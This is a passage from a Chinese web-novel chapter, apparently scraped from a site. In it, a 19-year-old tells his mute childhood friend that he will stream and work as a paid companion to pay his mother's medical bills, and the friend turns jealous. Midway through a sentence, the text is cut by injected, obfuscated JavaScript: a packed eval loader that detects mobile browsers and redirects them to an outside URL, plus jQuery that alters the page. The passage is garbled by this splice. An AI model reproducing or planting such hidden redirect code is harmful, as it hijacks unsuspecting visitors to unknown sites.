过了一会儿,他抬起手指,不太相信地确认:[浔哥你说你要做直播和陪玩?] 应浔知道瞒不住小哑巴,两个人又同在一个屋檐下,抬头不见低头见。 为了以后直播的时候不遮遮掩掩,他索性直接摊牌了:“对,我现在做的兼职赚钱太少了,妈妈生病住院要钱,过段时间做手术要钱,给护工阿姨结算护工费要钱,我还要赚钱付你一年后的房租和伙食费,不多找份工作,想点别的出路怎么办?” 周祁桉闻言,垂了垂眼,低下头:[对不起,浔哥,我错了,我主要是担心你被人强迫,在做自己不愿意做的事情。] “嗯,我理解你的意思。”应浔唇角牵扯出一个自嘲的笑,“放在以前我也觉得这是我一辈子不可能做出来的事,但现在情况不是不一样了吗?” 他自嘲过后又展露出坚强的笑意,“爸爸失踪了,妈妈躺在病床上昏迷不醒,我19岁了,要承担起家里的责任。况且我又不是去做鸭子,只是言语上哄哄别人开心,给别人提供一下情绪价值,各取所需,我不觉得有什么不对的。” “就是你给我刷飞机,让我叫你‘哥哥’,我也可以。” 自从19岁的夏天如那个摊在地上的行李箱一样,糟糕不堪,应浔很多事情都想明白了。 反正自己已经一无所有,人生跌到谷底,他还在乎什么呢? 他当前就是努力赚钱,想尽各种办法赚钱,只要能多赚一分,今天比昨天好一点点,他的生活就还有期盼。 就算回不到以前养尊处优,金尊玉贵的日子,他也要在哪里跌倒从哪里爬起,拍净衣服上的污泥,爬也要爬得完美。 周祁桉怔怔地注视着这样的浔少爷。 跌入凡尘的月亮,深陷泥沼,却还是这样灼目清皎。 尤其是挑在眼梢的那抹不屈和明媚,让他控制不住地心跳加速。 还有……浔哥说也可以叫自己哥哥。 周祁桉没忘记刚才撞见的浔哥那声甜腻好听的“哥哥”。 是从来没有听过的浔哥的声音,像在蜜饯里滚过一圈,裹满了甜蜜蜜的糖霜,带点高贵上扬的尾音,又像猫的爪子,挠在心上,听得他耳根忍不住发烫。 所以才控制不住地心里泛酸,占有欲阴暗爆发。 尽管他知道自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480993|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是浔哥什么人,根本就没资格吃醋。 [浔哥,你刚才说如果我给你刷飞机,你也可以叫我‘哥哥’?] 周祁桉心脏发酸,发软,又有一种难以遏制的冲动和渴望。 尤其在看到刚才这样的浔少爷后,心脏仿佛被撕开一个大口,无数欲望叫嚣着冲出,变得欲壑难填。 应浔突然见小哑巴问出这么一句,对上他黑漆漆的眼眸。 是错觉吗? 他有一瞬觉得小哑巴的视线十分炽热,像黑暗里猩红跳动的火舌,被稍微舔舐一下,就能将整个躯体烫化。 还黏黏的,幽深腐朽的洞底伸出来的藤蔓一般,一根一根攀爬上他的皮肤,浓稠湿腻。 脸是不是也红了? 应浔感到古怪。 可小哑巴的眼神又分明在诉说着一种期待。 他努力忽视这种矛盾的怪异,抬高下巴:“我刚才是打个比方,比喻你懂吗?至于叫你哥哥,你想都别想,你就算给我刷一百个飞机,我也不会叫你哥哥。” 开玩笑,让他叫十岁起就跟在自己屁股后面称他为浔哥的狗腿哥哥,那应浔真的是最后一丝尊严都没有了。 [哦,浔哥骗我,说话不算数。]小哑巴露出了可怜兮兮的表情,好像自己做了什么十恶不赦的大事。 这委屈大狗一样的眼神看得人很是扎眼,应浔心里有些过意不去,却还是故意冷硬着脸:“没有骗你,主要不是一回事,而且你比我小,叫你哥哥怪羞耻的。” [那浔哥你在哪里直播?我去给你点个关注,支持你一下。]小哑巴听他这样说,露出一个理解体贴的表情,不再委屈巴巴,也不再坚持这个话题,而是转为对他的支持。 但更让应浔无法招架了。 应浔眼神躲闪,修长漂亮的脖颈镀了层粉,耳尖依旧通红:“这个不能告诉你,在网友面前我怎么发挥都可以,反正现实世界里大家都是陌生人,谁也不认识谁。但我们两个是从小一起长到大的,太熟了,你看着我,我放不开。” [这样。]周祁桉再次善意体贴地笑笑,不知道听到了什么,刚才那丝古怪的阴郁一扫而空,[我明白了,那我不问了,不打扰浔哥,影响浔哥的工作。] 应浔哼哼。 总算是把小哑巴打发了。 以前怎么没发现周祁桉这么难缠?